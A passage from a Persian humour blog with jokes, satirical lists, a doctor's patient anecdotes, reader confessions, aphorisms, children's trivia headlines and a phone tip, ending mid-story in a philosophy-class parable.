5- فیش بانکی هزینه امتحان شفاهی شهادتین.
6- مبلغ 200 هزار تومان بابت قطع درختان محل سقوط به حساب شهرداری.
7- فیش بانکی به مبلغ 50 هزار تومان عوارض خروج از جهان هستی.
8- فیش بانکی به مبلغ 20 هزار تومان بابت تسلیت از رسانه ملی.


متن خوشامدگویی جدید در هواپیمایی جمهوری اسلامی:
سلام و صلوات بر روح تمام مسافرین عزیز
ورود شما را به پرواز ابدی هواپیمایی جمهوری اسلامی خوشامد می گوییم.
خداوندا! مشیت خودت را در رسیدن و لقا خود بر ما قرار ده و سرعت آن فزون فرما.
مقصد ما به احتمال 99% بهشت موعود و به احتمال 1% مقصدی که بر روی بلیط درج شده می باشد.
بستن کمربندها اصلا ضرورتی ندارد، چرا که بستن و نبستن آن برای ورود به بهشت الزامی نمی باشد.
در صورت بروز اشکال درسیستم هوای کابین ماسک هایی از بالای سر شما آویزان خواهند شد که شما قبل از آن رایحه ی خوش ملائکه را احساس خواهید کرد.
خواهشمند است هنگام سقوط خونسردی خود را حفظ نموده تا بتوانید اشهد خود را صحیح قرائت نمائید.
ارتفاع پرواز به تدریج و شاید هم ناگهانی به صفر خواهد رسید، اما هیچ جای نگرانی نیست. چرا که یک باره تا آسمان هفتم اوج خواهیم گرفت و هوای بهشت هم بسیار عالی گزارش شده است.
خلبان پرواز، مرحوم شهید کاپیتان بهشت زاده و ارواح گروه پروازی جایگاه ابدی خوبی را برای شما آرزومندند.


ارسال شده در تاریخ : دو شنبه 8 اسفند 1390برچسب:, :: 18:12 :: به قلم : مهدی احمدیان

یک روز مردی در حال عبور از خیابان کودکی را مشغول جابجایی بسته ای دید که از خود کودک بزرگتر بود، پس به نزدیکش رفت و گفت: عزیزم بگذار تا کمکت کنم.
مرد وقتی خواست بسته را بردارد دید که حتی حملش برای او مشکل است چه برسد به این بچّه.
کمی که رفتند مرد از کودک پرسید چرا این بسته را حمل می کند؟
کودک در پاسخ گفت: که پدرش از او خواسته است.
مرد پرسید: چرا پدرت خودش این کار را انجام نداد؟ مگر نمی دانست که حمل این بسته برایت چقدر سخت است؟
کودک جواب داد: اتفاقا مادرم هم همین حرف را به پدرم زد ولی او گفت:
"خانم بالاخره یه خری پیدا می شه به این بچّه کمک کنه دیگه!"


ارسال شده در تاریخ : دو شنبه 8 اسفند 1390برچسب:, :: 18:7 :: به قلم : مهدی احمدیان

کلاه فروشی روزی از جنگلی می گذشت. تصمیم گرفت زیر درخت مدتی استراحت کند. لذا کلاه ها را کنار گذاشت و خوابید. وقتی بیدار شد متوجه شد که کلاه ها نیست. بالای سرش را نگاه کرد. تعدادی میمون را دید که کلاه ها را برداشته اند. فکر کرد که چگونه کلاه ها را پس بگیرد. در حال فکر کردن سرش را خاراند و دید که میمون ها همین کار را کردند. او کلاه را ازسرش برداشت و دید که میمون ها هم از او تقلید کردند. به فکرش رسید... که کلاه خود را روی زمین پرت کند. لذا این کار را کرد. میمون ها هم کلاه ها را به طرف زمین پرت کردند. او همه کلاه ها را جمع کرد و روانه شهر شد.

سالهای بعد نوه او هم کلاه فروش شد. پدربزرگ این داستان را برای نوه اش تعریف کرد و تاکید کرد که اگر چنین وضعی برایش پیش آمد چگونه برخورد کند. یک روز که او از همان جنگل گذشت در زیر درختی استراحت کرد و همان قضیه برایش اتفاق افتاد. او شروع به خاراندن سرش کرد. میمون ها هم همان کار را کردند. او کلاهش را برداشت، میمون ها هم این کار را کردند. نهایتا کلاهش را بر روی زمین
انداخت. ولی میمون ها این کار را نکردند. یکی از میمون ها از درخت پایین آمد و کلاه را از روی زمین برداشت و در گوشی محکمی به او زد و گفت: فکر می کنی فقط تو پدربزرگ داری؟!


ارسال شده در تاریخ : یک شنبه 7 اسفند 1390برچسب:, :: 17:21 :: به قلم : مهدی احمدیان

 

پزشکان معمولا خاطرات جالبی از کار و بیمارانشان دارند. علت جالب بودن این خاطرات یا بخاطر برخوردهای بانمکی است که بیماران با پزشک یا بیماریشان می‌کنند یا کمبود اطلاعات پزشکی است یا شاید وقوع بعضی اتفاقات در فضایی که سایه مرگ و بیماری در آن وجود دارد خود به خود تبدیل به طنز می‌شود. اما مهم اینجاست که یک پزشک عمومی با ذوق اهل شهرکرد هر از چندگاهی خاطراتش را از این ماجراها در وبلاگش می‌نویسد که بسیار خواندنی هستند:

* گلوی بچه رو که نگاه کردم مادرش گفت: آقای دکتر! گلوش چرک داره؟ گفتم: چرکش تازه می خواد شروع بشه. گفت: این بچه همیشه همین طوره٬ همیشه عفونتش اول شروع می شه بعد زیاد می شه!

* به دختره گفتم: مشکلتون چیه؟ با یه صدای گرفته گفت: هیچی فقط چند روزه که اصلا صدام درنمی ره!

* به دختری که با استفراغ اومده بود گفتم: اسهال هم دارین؟ گفت: حالتشو دارم اما نمیاد!

* یه خانم حدودا ۵۰ ساله دختر حدودا ۱۸ سالشو آورده بود. به دختره گفتم: مشکلتون چیه؟ گفت: دلهره دارم. مادرش زد زیر خنده و بعد گفت: مامان! دل پیچه نه دلهره! پرسیدم: چیز ناجوری نخوردین؟ مادرش گفت: چرا «چیسپ» خورده و این بار نوبت دختر بود که بزنه زیر خنده و بگه: مامان چیپس نه چیسپ!

* به آقائی که با سردرد اومده بود گفتم: قبلا هم سابقه داشتین؟ گفت: مثلا چه سابقه ای؟ بعد گفتم: توی خونه داروئی نخوردین؟ گفت: مثلا چه داروئی؟ نسخه شو که نوشتم گفتم: دیگه هیچ ناراحتی نداشتین؟ گفت: مثلا چه ناراحتی؟

* به خانمه گفتم: اشتهاتون خوبه؟ گفت: هر وقت بتونم غذا بخورم می تونم بخورم!

* پیرمرده گفت: همه بدنم درد می کنه غیر از آرنج دست چپم. گفتم: یعنی آرنج دست چپتون درد نمی کنه؟ گفت: نه آرنج دست چپم «خیلی» درد می کنه!

* خانمه اومد و گفت: برام یه آزمایش بنویس. گفتم: چه آزمایشی؟ گفت: نمی دونم. چند وقت بود که هر دو دستم درد می کرد. چند هفته پیش از این دستم آزمایش خون گرفتم بعد دردش افتاد حالا می خوام بگم از این دستم هم خون بگیرن ببینم دردش می افته؟!

* به خانمه گفتم: باید یه آزمایش بدین. گفت: نمی دم! گفتم: چرا؟ گفت: می ترسم بفهمم یه مرض ناجوری دارم!

* خانمه می گفت: توی آزمایشگاه درمونگاه آزمایش دادم گفتند عفونت داری اما بیرون آزمایش دادم گفتند سالمه! آزمایشهاشو نگاه کردم دیدم توی درمونگاه آزمایش ادرار داده و بیرون آزمایش خون!

* خانمه می گفت: فکر کنم باز گلوی بچه ام چرک کرده. گفتم: از کجا فهمیدین؟ گفت: آخه از دیروز داره دهنش بوی کپسول می ده!

* خانمه می گفت: بچه ام چند روزه یبوست داره براش شیاف هم گذاشتم خوب نشد. گفتم: چه شیافی براش گذاشتین؟ گفت: استامینوفن!

* مریض های درمانگاه تمام شدن و از مطب میام بیرون یه هوائی بخورم. مسئول پذیرش که اهل همونجاست داره با یکی از اهالی روستا صحبت می کنه و ازش می پرسه: داروهائی که دکتر دومی براتون نوشت با دکتر اولی فرق داشت؟ روستائی محترم می گه: خوب معلومه٬ مگه کود حیوونهای مختلف با هم فرق نمی کنه؟ خوب داروهای دکترها هم با هم فرق می کنه!

* یه پسر جوون با فشار خون پائین اومده بود. گفتم: می تونین بمونین سرم بزنین؟ گفت: نه. گفتم: آمپول می زنین؟ گفت: نه. خانم جوونی که باهاش بود گفت: آقای دکتر لطفا یه شربت ماستی (آلومینیم ام جی اس) براش بنویسین. گفتم: چرا؟ گفت: آخه می گن چیزهای شیرین فشار خونو بالا می برن!

* روز شنبه این هفته یه زن و شوهر بچه شونو آورده بودند. گفتم: چند روزه که مریضه؟ پدره گفت: دو روزه مادرش گفت: نه سه روزه پدره با عصبانیت به مادرش گفت: آخه جمعه که تعطیله!

* مرده با کمردرد اومده بود، وقتی می خواستم نسخه بنویسم گفت: آقای دکتر! بی زحمت هر چی می خواین بنویسین فقط پماد ننویسین! گفتم: چرا؟ گفت: آخه همه خونواده مون رفته اند مسافرت هیچ کسی نیست که برام پماد بماله!

* به خانمه گفتم: کجای سرتون درد می کنه؟ دستشو گذاشت روی سرش و گفت: همین جا درست توی لگن سرم.

 


ارسال شده در تاریخ : یک شنبه 7 اسفند 1390برچسب:, :: 1:24 :: به قلم : مهدی احمدیان

 

 

یک فروشنده کوکاکولا که برای فروش به عربستان سعودی رفته بود، دست از پا درازتر برگشت و کاملاً ناامید شده بود. یکی از دوستانش از اون پرسید: چرا در عربستان موفق نبودی؟ فروشنده جواب داد: وقتی رفتم خیلی مطمئن بودم که می تونم فروش خوبی داشته باشم، اما یک مشکل داشتم، و اون این بود که نمی دونستم چه طور عربی صحبت کنم به همین دلیل به خودم گفتم که این پیام رو از طریق سه تا پوستر انتقال بدهم:


پوستر اول: یک مرد که روی ماسه های داغ صحرا دراز کشیده و کاملاً خسته و از حال رفته است.
پوستر دوم: مرد داره کوکاکولا می نوشه.
پوستر سوم: مرد ما هم اکنون کاملاً سرحال و شاداب است.

دوستش گفت: خیلی عالیه، این طرح باید جواب می داد.
فروشنده جواب داد: ولی هیچ کس به من نگفته بود که اونها از راست به چپ می خونن!

ارسال شده در تاریخ : شنبه 6 اسفند 1390برچسب:, :: 18:10 :: به قلم : مهدی احمدیان

اینشتین برای رفتن به سخنرانی ها و تدریس در دانشگاه از راننده مورد اطمینان خود کمک می گرفت. راننده وی نه تنها ماشین او را هدایت می کرد بلکه همیشه در طول سخنرانی ها در میان شنوندگان حضور داشت بطوری که به مباحث اینشتین تسلط پیدا کرده بود! یک روز اینشتین در حالی که در راه دانشگاه بود با صدای بلند گفت که خیلی احساس خستگی می کند. راننده اش پیشنهاد داد که آنها جایشان را عوض کنند و او جای اینشتین سخنرانی کند چرا که اینشتین تنها در یک دانشگاه استاد بود و در دانشگاهی که سخنرانی داشت کسی او را نمی شناخت و طبعا نمی توانستند او را از راننده اصلی تشخیص دهند. اینشتین قبول کرد، اما در مورد این که اگر پس از سخنرانی سوالات سختی از وی بپرسند او چه می کند، کمی تردید داشت.
به هر حال سخنرانی راننده به نحوی عالی انجام شد ولی تصور انیشتین درست از آب درآمد. دانشجویان در پایان سخنرانی شروع به مطرح کردن سوالات خود کردند. در این حین راننده باهوش گفت: سوالات به قدری ساده هستند که حتی راننده من نیز می تواند به آنها پاسخ دهد. سپس اینشتین از میان حضار برخاست و به راحتی به سوالات پاسخ داد به حدی که باعث شگفتی حضار شد!


ارسال شده در تاریخ : شنبه 6 اسفند 1390برچسب:, :: 17:55 :: به قلم : مهدی احمدیان

یکی لکنت زبان داشته، زنگ می زنه اورژانس که بیاد جنازه همسایه شون رو که مرده ببره...
می گه ،اااالو اااوورجانس، این ههههمسایمون ممممرده یه آمبولانس بفرستین.
طرف می پرسه: آدرستون؟
یارو تا میاد آدرسو بگه زبونش بند میاد می گه ظظظظظ...
طرف می گه ظفر منظورته؟
می گه ننننننننه، طرف فکر می کنه سرکاره، قطع می کنه.

۲هفته بعد همین اتفاق می افته. باز هم طرف می گه آدرستون، باز زبون یارو بند میاد می گه ظظظظظ...
طرف می پرسه ظفر؟ می گه نننننه...، باز مامور اورژانس فکر می کنه سرکاره، قطع می کنه.

۳ ماه می گذره، باز طرف زنگ می زنه می گه اااااووووورژانس،
این هههمسایه مون ممممرده محلللمون بو گگگرفته یه آمبولانس بببفرستین.
طرف می گه آدرستون؟
باز زبونه یارو بند میاد می گه ظظظظظ...، از اونور می گن آقا منظورت ظفره؟
طرف می گه: آآآآآره! ک ک کشوندم آوردمش ظفر ببببیا بببرش!


ارسال شده در تاریخ : شنبه 6 اسفند 1390برچسب:, :: 17:53 :: به قلم : مهدی احمدیان

 

 

مردی با دوچرخه به خط مرزی می رسد، او دو کیسه بزرگ همراه خود دارد، مامور مرزی می پرسد: "در کیسه ها چه داری؟" او می گوید: "شن"
مامور او را از دوچرخه پیاده می کند و چون به او مشکوک بود، یک شبانه روز او را بازداشت می کند، ولی پس از بازرسی فراوان، واقعاً جز شن چیز دیگری نمی یابد. بنابراین به او اجازه عبور می دهد.
هفته بعد دوباره سر و کله همان شخص پیدا می شود و مشکوک بودن و بقیه ماجرا...
این موضوع به مدت سه سال هر هفته یک بار تکرار می شود و پس از آن مرد دیگر در مرز دیده نمی شود.

یک روز آن مامور در شهر او را می بیند و پس از سلام و احوال پرسی، به او می گوید: من هنوز هم به تو مشکوکم و می دانم که در کار قاچاق بودی، راستش را بگو چه چیزی را از مرز رد می کردی؟ قاچاقچی می گوید: دوچرخه!

بعضی وقت ها موضوعات فرعی ما را به کلی از موضوعات اصلی غافل می کند!


ارسال شده در تاریخ : شنبه 6 اسفند 1390برچسب:, :: 17:36 :: به قلم : مهدی احمدیان

 

   


شبی اوباما و همسرش تصمیم گرفتند که کاری غیرعادی انجام دهند و برای شام به رستورانی که زیاد هم گران قیمت نبود، بروند. وقتی آنها به رستوران رفتند صاحب رستوران از محافظان رئیس جمهور پرسید که آیا می تواند خصوصی با همسر رئیس جمهور صحبت کند و آنها هم اجازه دادند. و همسر اوباما به طور خصوصی با آن مرد صحبت کرد. بعد از آن اوباما از همسرش پرسید که چرا او این همه مشتاق خصوصی صحبت کردن با تو بود؟ همسرش گفت که صاحب رستوران گفته در ایام جوانیش دیوانه وار عاشق او بوده است... سپس اوباما گفت و اگر تو با او ازدواج می کردی اکنون صاحب این رستوران بودی.

همسر اوباما در پاسخ گفت: اگر من با او ازدواج می کردم او الان رئیس جمهور بود.

 

 


ارسال شده در تاریخ : شنبه 6 اسفند 1390برچسب:, :: 11:58 :: به قلم : مهدی احمدیان

  •  
  • برگی که راه می‌رود
  • سیفانتا آکوتا حشره ی سبز و کوچکی است که تورپدو باگ نیز نامیده می شود ولی در اصل نام علمی این حشره” Siphanta acuta “است
 
  •  
  • پرنده‌ای با منقار شاخی
  • منقارشاخیان خانواده‌ای از پرنده‌ها است که در مناطق گرمسیری و نیمه‌گرمسیری آفریقا و آسیا زندگی می‌کنند. اما این نوع از منقارشاخی در جنوب صحرای آفریقا یافت می شود
 
  •  
  • چشم‌های پرندگان
  • چشم بعد از مغز يكي از پيچيده ترين عضو پرندگان است. چشم عكس هايي را كه ديده، به پيام عصبي تبديل مي كند و به مغز مي فرستد. آن وقت است كه مغز درك مي كند چشم چه تصويري را ديده است
 
  •  
  • لاک‌پشت‌های غول‌پیکر
  • لاک پشت های غول پیکر یکی از بزرگترین انواع خزندگانی هستند که در برخی از جزایر گرمسیری زندگی می کرده اند و یا هنوز زندگی می کنند
 
  •  
  • رازهایی از دنیای حیوانات
  • هر گاه سگ آبی احساس خطر کند، با دم پهن خود بر آب می کوبد و صدای بلندی ایجاد می کند. دیگر سگ های آبی با شنیدن این صدا متوجه خطر می شوند و از محل خطر دور می شوند
 
 
  •  
  • یک چشم برهم زدن
  • چشم های شما تنها موقع گریه کردن اشک تولید نمی کنند، بلکه همیشه در حال تولید اشک هستند
 
  •  
  • می‌دانستی؟
  • دانشمندان به كمك تصاوير رادار دريافته اند كه اين پرندگان بعضى وقت ها تمام طول شب را در ارتفاع زياد، به پرواز و سُر خوردن در هوا ادامه مى دهند
 
  •  
  • چرا گوش‌ها شکل مضحکی دارند؟
  • شکل گوش های شما به گونه ای است که بتوانند صداها را از هوا بگیرند. سپس صداهای دریافت شده از طریق مجرای گوش به قسمت پنهان گوش در داخل سر شما می رود
 
 
 
  •  
  • مراغه،شهر دوره مادها
  • از قدیمی ترین شهرهای استان آذربایجان شرقی است. قدمت آن به دورۀ مادها برمی گردد. این شهر در جنوب کوه های سهند قرار دارد
 
  •  
  • اندکی دانستنی
  • بین ۱۰۰ هزار تا ۲۰۰ هزار مو در سر وجود دارند که از منافذ کوچکی در پوست که (فولیکول) نامیده می شوند می رویند
 
  •  
  • دنیای حیوانات
  • شگفتی های خلقت و طبیعت همواره آدمی را به تفکر وا می دارد و زمینه معرفت های عمیق الهی را فراهم می نماید
 
  •  
  • کاغذ
  • چه تعداد محصولات کاغذی یا مقوایی می توانید نام ببرید؟ می توان به کاغذهای تحریر، روزنامه، مجله، کتاب های تصویری، کاغذ کادو، بسته بندی محصولات، کارت تبریک، پول، دستمال کاغذی، کاغذ بهداشتی و کاغذ دیواری اشاره کرد
 
  •  
  • گردشی در بدن
  • ساختمان و کار بدن انسان یکی از جالب ترین و پیچیده ترین عجایب خلقت است. شما حتماً نام گلبول های سفید را شنیده اید. این گلبول ها که در خون هستند، درست مانند سرباز از بدن انسان محافظت می کنند
 
  •  
  • مهاجرت پرندگان
  • آیا تا به حال پرنده ی مهاجری را در حال پرواز دیده اید؟ دیده اید که با چه قدرت و همتی بال می زند؟ شاید به خود بگویید این که کاری ندارد؛ همان اندازه که پرنده ها در آسمان پرواز می کنند، ما انسان ها هم روی زمین راه می رویم
 
  •  
  • این شیارهای شگفت‌انگیز
  • بعضی وسیله‏‌ها با این‌که خیلی مورداستفاده قرار می‌گیرند و بیشتر آدم‌‏ها با آنها سر و کار دارند، اما کمتر کسی است که طرز کارشان را بداند
 
  •  
  • بچه های حسینی
  • با شروع ماه محرم همه شهر در حال عزاداری است. کودکان و نو جوانان نیز در کنار بزرگترها در هیئت ها و دسته های عزاداری شرکت میکنند
 
  •  
  • ویروس رایانه ای چیست؟
  • ویروس رایانه‌ای، برنامه‌ای است که خود به خود تکثیر می‌شود و از رایانه‌ای به رایانه‌ی دیگر راه می‌یابد
 
 
  •  
  • ابر چیست؟
  • ابر توده‌ای متراکم از بخار است که در طبقات پایینی و میانی اتمسفر تشکیل می‌شود. عناصر تشکیل دهنده این توده بخار همان عناصر تشکیل دهنده مایعات سطح سیاره می‌باشند. در مورد سیاره زمین، ابرها از بخار آب تشکیل شده اند...
 
  •  
  • عجایب دنیای حیوانات
  • شاید کمی عجیب به نظر برسد اگر بگوییم حلزون ها دندان دارند! در دهان کوچک حلزون ها در حدود 2500 دندان، در اندازه بسیار ریز وجود دارد. قدرت این دندان ها به اندازه ای است که حیوان می تواند برگی را ریز ریز کند. حلزون
 
  •  
  • کلوت چیست؟
  • کلوت نام عوارضی طبیعی و جغرافیایی در بیابان لوت ایران است که در اثر سازو کار شگفت انگیز آب و باد و فرسایش زمین ، پدید آمده اند
 
  •  
  • گياهي که آفت ها را فريب مي‌دهد
  • در جنگل هاي اکوادور گونه اي از درخت ها شناسايي شده اند که به منظور جلوگيري از هجوم آفت ها از جمله بيدها تمارض کرده و خود را بيمار جلوه داده و با تغيير دادن رنگ برگ هاي خود از نزديک شدن آفت ها به خود جلوگيري مي کند
 
  •  
  • سنجاب ها
  • سنجابها در مناطق وسیعی از زیستگاههای دنیا از جنگلهای استوایی تا بیابان های نیمه خشک پیدا می شوند
 
  •  
  • هکتور مالو نویسنده ی رمان باخانمانان
  • هکتور مالو رمان نویس فرانسوی در سال 1830 در نرمادی متولد شد. در ژوئن به مدرسه رفت و پس از پایان تحصیلات در شهر روان به پاریس رفت و در رشته ی حقوق به تحصیل ادامه داد.
 
  •  
  • دلفین های فیزیکدان
  • ما آدم‏‌ها از حواس پنج‏گانه خود برای ارتباط با دنیای اطراف استفاده می‌‏کنیم. حس‏های بینایی، شنوایی، بویایی،چشایی و لامسه به ما کمک می‌‏کنند تا بهتر اتفاقات دور و برمان را ببینیم
 
  •  
  • هانس کریستین آندرسن
  • روز دوم آوریل سال 1805 میلادی -که به جرأت می توان او را بزرگ ترین نویسنده داستانی های کودکان دانست- در شهر اودنس دانمارک و در یک خانواده کم در آمد متولد شد.
 
  •  
  • زیباترین پرنده روی زمین
  • طاووس یکی از زیباترین پرند گان جهان است. طاووس نام دو گونه از پرندگان است که عبارتند از طاووس هندی و طاووس سبز. جنس نر آن، پرهای بسیار زیبایی به ‌ویژه در ناحیه دم دارد
 
  •  
  • خورشید نیز روزی خواهد خوابید!
  • هر جسمی با نیروی جاذبه‌ی خود که در مرکز آن قرار دارد در نبرد است. ستاره‌ها نیز از این قاعده مستثنی نیستند. نیروی جاذبه همواره می‌خواهد ستاره را فشرده کند....
 
  •  
  • ماه زیبای آسمان
  • ماه، پرنورترین جرم آسمان شب و نزدیک ترین همسایه ی زمین است. ماه، تنها قمر سیاره ی ماست. از زمان های بسیار دور، ماه منبع الهام، تخیل، فکر و اندیشه ی انسان های خلاق هنرمند و متفکر بوده است.
 
  •  
  • ميرزا علي اکبر صابر
  • ميرزا علي اکبر طاهرزاده متخلص به صابر در سال 1241 در شماخي، يکي از شهرهاي قديمي شيروان به دنيا آمد. او مدتي را در مکتب خانه هاي قديم آن روزگار گذراند. پس از آن به مکتب سيد عظيم شيرواني رفت
 
  •  
  • درخت شگفت انگيز قلمرو حيوانات
  • اين تصاوير مربوط به درختي در پارکي در فلوريدا مي باشد. هنرمندان بسياري روي اين درخت کار کردند تا شکل نزديک به 400 حيوانات طبيعي رو روي اون درست کردند.
 
  •  
  • قلب من چه کار مي کند؟
  • قلب شما ماهيچه ي بخصوصي است که باعث حرکت خون در سرتاسر بدنتان مي شود. اگر دستتان را روي سينه ي خود بگذاريد و به قلبتان نزديک کنيد، تپش آن را حس خواهيد کرد.
 
  •  
  • نقاشی روی پر
  • در گذشته نقاشي بر روي سنگ غارها و با ابزار بسيار ابتدايي کشيده مي شد. کمي که نقاشي پيشرفت کرد، بر روي پوست، اشياء سفالي و با نقوش هندسي کار مي کردند. امروزه نقاشي با تکنيک ها و سبک هاي متفاوتي همراه است که مواد متفاوتي را نيز براي کار مي طلبد
 
  •  
  • وسعت جهان
  • دنياي اطراف ما پر از رازها، شگفتي ها و زيبايي هاست. هر چه قدر به آن بيش تر توجه کنيم، شگفتيمان بيش تر و بيش تر مي شود.
 
  •  
  • چرا گياهان ميوه دارند؟
  • يکي از منابعي که هر گياه جوان، براي رشد به آن نياز دارد، فضاي مناسب است. گياه براي پراکندن ريشه ها و گسترش شاخ و برگ هاي خود، به فضا نياز دارد.
 
  •  
  • شازده کوچولو
  • آنتوان دونت اگزوپري، خلبان و نويسنده‌ي «شازده کوچولو» يکي از شاهکارهاي ادبيات کودکان است. او فرزند سوم ژان دوسنت اگزوپري در سال 1900 در شهر ليون، فرانسه به دنيا آمد.
 
 

ارسال شده در تاریخ : جمعه 5 اسفند 1390برچسب:, :: 12:21 :: به قلم : مهدی احمدیان

شیدا:رفته بودیم بیرون یه پسره بهم گفت بخورمت!منم بهش گفتم گه نخور!

علی:امروز داشتم با گوشیم حرف می زدم در حالی که داشتم دنبال گوشیم می گشتم!

بهنام: اعتراف می کنم بچه که بودم می خواستم برم دستشویی تلویزیون رو خاموش می کردم تا کارتون تموم نشه و بعد می آمدم گریه می کردم به مادرم می گفتم کار تو بود روشن کردی کارتون تموم شد!

شمیم: اعتراف می کنم معلم دوم دبستانم می گفت: املاها رو خودتون بنویسید که من با دوربین مخفی می بینم کی به حرفام گوش می ده... از اون روز کار من شده بود گشتن سوراخ سمبه های خونه و سوال های مشکوک از مامان بابام: امروز کی اومد؟ کی رفت؟ به کدوم وسیله ها دست زد؟ بیشتر هم به دریچه کولر شک داشتم!

مهرشاد: یک روز ایستاده بودم منتظر تاکسی هی می گفتم میدون ونک! بعد از 2-3 بار دیدم بهم بد نگاه می کنن! دور و برم رو که نگاه کردم فهمیدم ایستاده ام توی میدان ونک می گم ونک!

لادن: اعتراف می کنم وقتی بچه بودم کارتون فوتبالیستها رو نشون می داد، من هم که بدون استثنا عاشق تک تک پسرای توی کارتون بودم، می رفتم لباسمو عوض می کردم، یه لباس خشگل و شیک می پوشیدم، تا وقتی توی دوربین نگاه می کنند، منو ببینند و عاشقم بشن!

ستاره: اعتراف می کنم یه بار اتو کشیدن موهام یک ساعت طول کشید، چون موهام بلند بود، بعد از کلی کیف کردن و احساس رضایت، نگاه کردم دیدم اتوی مو خاموشه!

نگار: کلاس اول دبستان بودم سر درس "ص" وقتی داشتم مشقاشو می نوشتم به ذهنم رسید ما تو زبان عامیانه می گیم "بارون" اما کتابیش می شه "باران"، پس صابون هم لابد صابان هست اصلش! از این نبوغ خودم کیف کردم، همه مشقامو نوشتم صابان! فرداش معلممون به شدت نبوغمو برد زیر سوال!

علی: اعتراف می کنم بار اول که یه بز از نزدیک دیدم بچه بودم، از ترس بهش سلام کردم بعد فرار کردم.

بتی: اعتراف می کنم یه با زنگ زدم 700 اپراتور ایرانسل کلی پشت خط منتظر موندم تا بعد از یک ربع یه پسره جواب داد. من هم حواسم دیگه به گوشی نبود هل شدم گفتم: سلام منزل آقای ایرانسل؟

شیوا: اعتراف می کنم بچه که بودم یه بار با آجر زدم تو سر یکی از بچه های اقوام، تا ببینم دور سرش از اون ستاره ها و پرنده ها می چرخه یا نه! تازه هی چند بار پشت سر هم این کار رو کردم، چون هر چی می زدم اتفاقی نمی افتاد!

نگین: اعتراف می کنم یه بار پسر همسایه چهارساله مون رو با باباش تو خیابون دیدم گفتم سلام نوید چه طوری؟
دیدم بچه تحویلم نگرفت باباهه خندید.
اومدم خونه به مامانم گفتم نوید ماشالا چه قدر بزرگ شده!
مامان گفت نوید کیه؟
گفتم: پسر آقای...
گفت اون اسمش پارساست، اسم باباش نویده!

بهزاد: اعتراف می کنم کلاس اول دبستان بودم تحت تاثیر این حرفا که نباید به غریبه آدرس خونه تون رو بدید، روز اول به راننده سرویس آدرس اشتباهی دادم و از یه مسیری الکی تا خونه پیاده رفتم و تازه فرداش موقعی که سرویس دنبالم نیامد تازه شاهکارم برای خانواده معلوم شد!

اعتراف می کنم چند ماه پیش تو شرکت بودم سر کارام یهو مدیر عامل از تو اتاق خودش گفت: امیـــــــر جووون... بلند گفتم جانم؟ گفت خیلی می خوامـــت... گفتم منم همین طور... گفت پیش ما نمیای؟ گفتم چرا، حتماً... از پشت میزم بلند شدم برم توی اتاقش. به در اتاقش که رسیدم دیدم داره تلفنی با دوستش حرف می زنه و من از شدت ضایعگی دیوار رو گاز گرفتم...

مونا: چند روز پیش دختر خالم گوشی موبایلش رو خونه ما جا گذاشته بود... بهش اس ام اس زدم: گوشیتو جا گذاشتی!

چند وقت پیش تو حیاط خونه سیگار می کشیدم که صدای باز شدن در حیاط اومد منم حول شدم سیگار رو روی گوشیم خاموش کردم و بدتر از اون این که بلافاصله گوشی رو پرت کردم توی باغچه و سیگار خاموش موند تو دستم!

بتی: اعتراف می کنم یکی از معضلات دوران بچگیم این بود که چرا من نمی تونم مثل شخصیت های کارتونی که اشک هاشون به دو طرف پرت می شد گریه کنم! کلی تلاش می کردم موقع گریه کردن مثل اونا باشم. مثلا سرمو بالا بگیرم دهنمو باز کنم یا چشامو تنگ کنم! ولی باز هم جواب نمی داد.

 


ارسال شده در تاریخ : پنج شنبه 4 اسفند 1390برچسب:, :: 19:2 :: به قلم : مهدی احمدیان

 

۱ـ بهترين راه براي حفظ آثار باستاني ، همچنان در زير خاك بودن آن ها است.

۲ـ دهانم را بسته نگاه داشتم تا حرف در دهانم نگذارند.

۴ـ اكثر آدم هاي لاغر با رژيم مخالفند.

۵ـ بي صداترين تار را عنكبوت مي نوازد.

۶ـ پركار ترين عضو بدنش فكش بود.

۷ـ كاش فردا همان ديروز آمده بود.


۹ـ بازار ريا سكه است ، با صداقت ، اعلام مفلسي مي كنم.

۱۰ـ اعتراض ها در سكوت ذخيره شد.

۱۱ـ عدالت موجودي شبيه روح بوده كه كسي آن را نديده است.

۱۲ـ بانك ها به سوال علم بهتر است يا ثروت ، در عمل پاسخ مي دهند.

۱۳ـ نمايشگاه به محلي گفته مي شود كه مردم را به كالا ها نشان مي دهند.

۱۴ـ همه دوست دارند به پيروزي برسند ، حتي استقلال.

۱۵ـ تا عوام وجود داشته باشد ، عوام فريب هم وجود خواهد داشت.

۱۶ـ هر موقع او را مي بينم كمي مكث مي كنم ، مثل ويرگول.

۱۷ـ آدم هاي بيكار همه روزهاي تقويم را جمعه مي بينند.

۱۸ـ پائيز ، فصل بي حجابي درختان است.

۱۹ـ كتاب يار مهربانيست كه با همسرتان هيچ مشكلي ندارد.

۲۰ـ شهرداري فقط راه پولدارشدنش را آسفالت مي كند.

۲۱ـ شيطان مدعي شد كه من مدير داخلي دنيا هستم.

۲۳ـ گاهي سلول هاي خاكستري مغزم به مرخصي مي روند.

۲۴ـ حقوق بشر ساعتي است كه هر دولتي با وقت محلي كشورش آن را تنظيم مي كند.

۲۵ـ آقازاده يعني استثناء در خلقت.

 


ارسال شده در تاریخ : چهار شنبه 3 اسفند 1390برچسب:, :: 21:59 :: به قلم : مهدی احمدیان

باتری موبایل رو در ارید جای سیم کارتش هستش اونجا روی فلز وسطی که سمت پایین سیم کارت هستش یه چسب کوچیک بچسبونید .

فقط فلز وسطیه رو سیم کارت چسب نزنیدا روی فلز جایی که سیم کارت میخوره اون 6تا فلزه(پایین وسطیه)


ارسال شده در تاریخ : سه شنبه 2 اسفند 1390برچسب:, :: 18:37 :: به قلم : مهدی احمدیان

پروفسور مقابل كلاس فلسفه خود ايستاده بود وچند شيء رو روي ميز گذاشت
وقتي كلاس شروع شد،بدون هيچ كلمه اي،يك شيشه بسيار بزرگ ليوان را برداشت وشروع به پر كردن آن با توپ گلف كرد.

بعد از شاگردان پرسيد:آيا اين ظرف پر است؟و همه موافقت كردند
سپس پرفسور ظرفي از سنگريزه برداشت وآن ها را به داخل شيشه ريخت وشيشه را به آرامي تكان داد.سنگريزه ها در بين مناطق باز توپهاي گلف قرار گرفتند.دوباره از دانشجويان پرسيد:ظرف پر است؟باز همگي موافقت كردند.

بعد پروفسور ظرفي از ماسه برداشت وداخل شيشه ريخت.وخوب البته ،ماسه ها همه جاهاي خالي را پر كردند.او باز از شاگردان پرسيد:ظزف پر است وهمه يك صدا گفتند:بله.

